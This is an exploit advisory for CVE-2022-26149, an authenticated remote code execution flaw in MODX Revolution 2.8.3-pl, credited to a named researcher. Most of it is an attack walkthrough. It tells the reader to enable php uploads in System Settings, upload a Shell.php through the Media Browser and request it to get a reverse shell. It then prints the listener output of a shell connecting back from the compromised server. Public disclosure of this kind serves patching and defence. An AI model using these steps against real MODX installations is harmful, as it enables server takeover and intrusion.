# Exploit Title: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) # Date: 26th Feb'2022# CVE ID: CVE-2022-26149# Confirmed on release 2.8.3-pl# Reference: https://github.com/sartlabs/0days/blob/main/Modx/Exploit.txt# Vendor: https://modx.com/download################################################Step1- Login with Admin Credentials#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
Add the php file extension under the "Uploadable File Types" option available in"System Settings"#Step3- Now Goto Media=>Media Browser and upload the Shell.php#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:
listening on [any]4477...
connect to [192.168.56.1]from(UNKNOWN)[192.168.56.130]58056
bash: cannot set terminal process group (1445): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/modx$
